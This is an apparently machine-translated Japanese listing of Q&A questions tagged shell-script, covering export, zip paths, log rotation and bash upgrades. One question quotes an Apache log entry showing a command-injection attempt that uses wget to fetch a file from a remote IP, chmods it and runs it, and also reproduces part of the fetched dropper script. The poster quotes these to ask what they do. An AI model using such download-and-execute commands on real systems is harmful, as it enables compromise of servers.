タグ付けされた質問 「shell-script」

シェルスクリプトは、オペレーティングシステムのシェルまたはコマンドラインインタープリター用に記述されたスクリプトです。




3
BASHではエクスポートは何をしますか?[複製]
重複の可能性: bashの「a = b」と「export a = b」の違い 認めるのは難しいですがexport、環境変数が正確に何をするのか、私は本当に理解していません。変数をエクスポートしないと、子プロセスで変数が表示されないことがありますが、場合によっては表示されるようです。私が言うとき、本当に何が起こっているのか export foo=5 そして、いつ変数をエクスポートすべきではありませんか?

15
Windowsで.shファイルを実行するには?
コマンド./name.shによってコマンドラインでファイル(name.sh)を実行しようとすると、次のエラーが表示されます。 「。」内部コマンドまたは外部コマンド、操作可能なファイル、またはバッチファイルとして認識されない .shファイルの実行を手伝ってください

4
bashスクリプトのパラメーターのいずれかが文字列と一致するかどうかを確認します
bashスクリプトに渡されたパラメーターのいずれかが文字列と一致するかどうかを確認するスクリプトを作成しようとしています。今のセットアップ方法は if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] しかし、多くのパラメータがあるかもしれないので、これを行うより良い方法があるのだろうかと思っていましたか? ありがとう 編集:このコードの塊を試し、オプション-disableVenusBldを指定してスクリプトを呼び出しましたが、それでも「Starting build」が出力されます。私は何か間違っていますか?前もって感謝します! while [ $# -ne 0 ] do arg="$1" case "$arg" in -disableVenusBld) disableVenusBld=true ;; -disableCopperBld) disableCopperBld=true ;; -disableTest) disableTest=true ;; -disableUpdate) disableUpdate=true ;; *) nothing="true" ;; esac shift …

9
stdoutのログローテーション?
情報をstdoutとstderrに書き込むことができるLinuxプログラムがあります。 その出力をのファイルにリダイレクトするシェルスクリプトがあります/var/log。(Via >>および2>&1。) そのログファイルをローテーションさせる方法はありますか?(最大サイズ、別のファイルに切り替え、限られた数のファイルのみを保持) 私はlogrotateプログラムについて話すいくつかの回答を見てきましたが、それは良い音ですが、それらはログファイルを内部的に生成し、HUPシグナルを処理するプログラムにも焦点を当てているようです。基本的な出力リダイレクトスクリプトでこの作業を行う方法はありますか?

3
Zipファイル内の不要なパスを避ける
いくつかのファイルをパッケージ化するシェルスクリプトを作成しています。私はこのようなディレクトリを圧縮しています: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ 問題は、結果のout.zipアーカイブにファイルパス全体が含まれていることです。つまり、解凍すると、「/ Users / me / development / anotherthing /」パス全体が含まれます。ディレクトリをアーカイブに入れるときにこれらの深いパスを回避することは可能ですか? ターゲットディレクトリ内からzipを実行すると、この問題は発生しません。 zip -r out.zip ./folder/ この場合、私はすべてのジャンクを取得しません。ただし、問題のスクリプトはどこからでも呼び出されます。 FWIW、Mac OS X 10.6でbashを使用しています。
49 macos  bash  zip  path  shell-script 


2
このbashスクリプトは何をしますか?[ハックの試み]
私は最近、サーバーのApacheログに気付いていましたが、最近次の奇妙な行があります: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" そこで、カスタムFail2Banフィルターを作成し、これらの/login.cgi URLを要求するIPの禁止を開始しました。 しかし、私は彼らが何をしようとしていたのか興味があったので、彼らが実行しようとしているスクリプトを引っ張ったので、それが何をしているのか正確には分からないようです。/ varおよび/ tmpのarchフォルダーを削除する方法はありますか? とにかく、ここにあります: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …

2
「echo $(stuff)」または「echo `stuff`」の何が問題になっていますか?
次のいずれかを使用しました echo $(stuff) echo `stuff` (stuffたとえばpwd、dateまたは、もっと複雑なもの)。 それから私は、この構文は間違っている、悪い習慣、エレガントではない、過剰、冗長、過度に複雑、カーゴカルトプログラミング、noobish、ナイーブなどと言われました。 しかし、コマンドは機能するので、正確に何が問題なのでしょうか?
31 shell-script  sh  echo 

5
ディレクトリ内の拡張機能タイプの完全なリストを抽出する方法は?
ディレクトリ内、およびそのサブディレクトリ内で再帰的に、つまりディレクトリ内のすべてのディレクトリが処理されることを意味します。ディレクトリ内の一意の拡張子の完全なリストをコンパイルするにはどうすればよいですか? OSは現在のすべての更新プログラムを備えたWindows XPですが、スクリプトの実行内容を把握できればスクリプトを実行できますが、ドットネットをインストールする必要はありません。

2
シェルスクリプトはファイルに新しい行をエコーし​​ます
シェルスクリプト内の変数間のファイルに新しい行をエコーし​​たいです。ここに私のコードがあります: var1 = "Hello" var2 = "World!" logwrite = "$ var1 [ここに新しい行を挿入します] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt 現在、スクリプトを実行すると、user.txtファイルに次のように表示されます。 "こんにちは世界" 見せたい: こんにちは 世界! どうすればいいですか? 編集:ここに私のシェルスクリプトがあります: echo -n "名前は何ですか?" 最初に読む echo -n "姓は何ですか?" 最後に読む echo -n "ミドルネームは何ですか?" 真ん中を読む echo -n「あなたの誕生日は?」 誕生日を読む echo -e "名:$ first / n名:$ last / nミドルネーム:$ …


3
Mac OS X Yosemiteでbashを更新する方法
bashスクリプトを少し学習しようとしています。私の古いbashバージョン: Bash version 3.2.53(1)-release... Mac OS X Yosemiteのbashをhomebrewで更新しました: brew update brew install bash 次に、ターミナルのプロパティで、標準のシェルパスをから/bin/bashに変更しました/usr/local/bin/bash(これは、homebrewが更新されたbashをインストールする場所であることがわかります)。 次に、結果をもう一度確認しました(すべてが良いようです): $ echo $BASH_VERSION Bash version 4.0.33(0)-release... しかし、単純なbashスクリプトを記述しようとしていたとき: #!/bin/bash echo "Bash version ${BASH_VERSION}..." for i in {0..10..2} do echo "Welcome $i times" done 結果は次のとおりです。 Bash version 3.2.53(1)-release... Welcome {0..10..2} times の代わりに: Bash version 4.0.33(0)-release... Welcome 0 …

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.